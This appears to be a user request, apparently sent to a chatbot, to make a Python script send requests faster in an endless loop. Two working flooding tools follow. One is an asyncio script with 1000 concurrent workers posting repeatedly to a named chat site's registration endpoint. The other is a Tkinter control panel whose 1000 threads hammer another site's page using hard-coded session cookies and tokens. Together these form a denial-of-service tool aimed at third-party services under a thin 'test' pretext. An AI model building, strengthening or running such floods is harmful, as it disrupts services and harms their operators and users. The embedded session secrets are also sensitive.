make this script more powerful and be able to send requests as fast as possible in a loop in python for a test just like the ui script

import asyncio
import aiohttp
import time
from aiohttp import ClientSession, ClientConnectorError, ClientResponseError

Configuration Parameters
URL = "https://furrychat.net/chat/system/box/registration.php"
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/130.0.0.0 Safari/537.36",
"Cookie": "PHPSESSID=a0egur4jmuetnvdktqmbkphhst; domain=furrychat.net; path=/"
}
CONCURRENCY = 1000 # Increased concurrency limit
TIMEOUT = aiohttp.ClientTimeout(total=5)
RETRY_LIMIT = 3 # Number of retries for failed requests
QUEUE_SIZE = 5000 # Maximum number of pending requests in the queue
REPORT_INTERVAL = 5 # Seconds between performance reports

Counters for monitoring
success_count = 0
failure_count = 0

async def send_request(session: ClientSession, request_id: int):
global success_count, failure_count
for attempt in range(1, RETRY_LIMIT + 1):
try:
async with session.post(URL, headers=HEADERS, timeout=TIMEOUT) as response:
if response.status == 200:
success_count += 1
else:
failure_count += 1
print(f"[Request {request_id}] Failed with status: {response.status}")
break # Exit the retry loop if successful
except (ClientConnectorError, ClientResponseError, asyncio.TimeoutError) as e:
failure_count += 1
print(f"[Request {request_id}] Error on attempt {attempt}: {e}")
if attempt < RETRY_LIMIT:
await asyncio.sleep(0.1) # Brief pause before retrying
else:
print(f"[Request {request_id}] Failed after {RETRY_LIMIT} attempts.")

async def worker(name: int, session: ClientSession, queue: asyncio.Queue):
while True:
request_id = await queue.get()
if request_id is None:
queue.task_done()
break
await send_request(session, request_id)
queue.task_done()

async def producer(queue: asyncio.Queue):
request_id = 0
while True:
request_id += 1
await queue.put(request_id)
# No sleep to maximize throughput

async def report():
while True:
await asyncio.sleep(REPORT_INTERVAL)
print(f"[Report] Success: {success_count}, Failure: {failure_count}")

async def main():
global success_count, failure_count
semaphore = asyncio.Semaphore(CONCURRENCY)
connector = aiohttp.TCPConnector(
limit=CONCURRENCY,
ssl=False, # Set to True if SSL verification is needed
keepalive_timeout=30
)
async with aiohttp.ClientSession(connector=connector) as session:
queue = asyncio.Queue(maxsize=QUEUE_SIZE)


    # Start worker tasks
    workers = [
        asyncio.create_task(worker(i, session, queue))
        for i in range(CONCURRENCY)
    ]
    
    # Start producer task
    producer_task = asyncio.create_task(producer(queue))
    
    # Start reporting task
    reporter = asyncio.create_task(report())
    
    try:
        await asyncio.gather(producer_task)
    except asyncio.CancelledError:
        pass
    finally:
        # Stop producer
        producer_task.cancel()
        
        # Wait until the queue is fully processed
        await queue.join()
        
        # Stop workers
        for _ in workers:
            await queue.put(None)
        await asyncio.gather(*workers, return_exceptions=True)
        
        # Stop reporter
        reporter.cancel()
        try:
            await reporter
        except asyncio.CancelledError:
            pass
if name == "main":
start_time = time.time()
try:
asyncio.run(main())
except KeyboardInterrupt:
print("\nProcess interrupted by user.")
finally:
end_time = time.time()
print(f"Total runtime: {end_time - start_time:.2f} seconds")
print(f"Total Successful Requests: {success_count}")
print(f"Total Failed Requests: {failure_count}")




import requests
import threading
import tkinter as tk
from tkinter import messagebox
import sys

# Number of threads (adjust based on your needs and server capacity)
NUM_THREADS = 1000

# Create a session
session = requests.Session()

# Set user agent
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
})

# Add cookies
session.cookies.set("secret_id", "22648", domain="secret-share.net")
session.cookies.set("secret_token", "gxInBTdNf19kck6wmetOKRXIm", domain="secret-share.net")
session.cookies.set("secret_password", "OsRcAsIuLyzn8I21BzHKOL405", domain="secret-share.net")
session.cookies.set("secret_user_agent", "Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F129.0.0.0%20Safari%2F537.36", domain="secret-share.net")
session.cookies.set("PHPSESSID", "rgvp5ugq8r861cl2irpvv2pa2k", domain="secret-share.net")

# Static headers
headers = {
    "authority": "secret-share.net",
    "method": "GET",
    "path": "/play/",
    "scheme": "https",
    "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "accept-encoding": "gzip, deflate, br, zstd",
    "accept-language": "en-US,en;q=0.9,ru;q=0.8",
    "cache-control": "max-age=0",
    "priority": "u=0, i",
    "referer": "https://secret-share.net/",
    "sec-ch-ua": '"Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"',
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": '"Windows"',
    "sec-fetch-dest": "document",
    "sec-fetch-mode": "navigate",
    "sec-fetch-site": "same-origin",
    "sec-fetch-user": "?1",
    "upgrade-insecure-requests": "1"
}

# Event to control the threads
stop_event = threading.Event()
threads = []

def send_request(thread_id):
    while not stop_event.is_set():
        try:
            response = session.get("https://secret-share.net/play/", headers=headers, timeout=2)  # Reduced timeout
            print(f"Thread {thread_id}: {response.status_code}")
        except requests.RequestException as e:
            if stop_event.is_set():
                print(f"Thread {thread_id}: Stopped")
            else:
                print(f"Thread {thread_id}: {e}")

def start_requests():
    if threads and any(thread.is_alive() for thread in threads):
        messagebox.showwarning("Warning", "Requests are already running.")
        return
    stop_event.clear()
    for i in range(NUM_THREADS):
        thread = threading.Thread(target=send_request, args=(i+1,), daemon=True)
        threads.append(thread)
        thread.start()
    print("All threads started.")

def stop_requests():
    stop_event.set()
    session.close()  # Close the session to terminate ongoing connections
    for thread in threads:
        if thread.is_alive():
            thread.join(timeout=2)  # Increased responsiveness with shorter join timeout
    threads.clear()  # Clean up the thread list once all threads are stopped
    print("All threads stopped.")

def on_closing():
    if messagebox.askokcancel("Quit", "Do you want to quit?"):
        stop_requests()
        root.destroy()
        sys.exit()

# Create the main window
root = tk.Tk()
root.title("Request Sender Control Panel")
root.geometry("300x150")
root.resizable(False, False)

# Create Start and Stop buttons
start_button = tk.Button(root, text="Start Requests", command=start_requests, width=20, height=2, bg='green', fg='white')
start_button.pack(pady=10)

stop_button = tk.Button(root, text="Stop Requests", command=stop_requests, width=20, height=2, bg='red', fg='white')
stop_button.pack(pady=10)

# Handle window close event
root.protocol("WM_DELETE_WINDOW", on_closing)

# Start the Tkinter event loop
root.mainloop()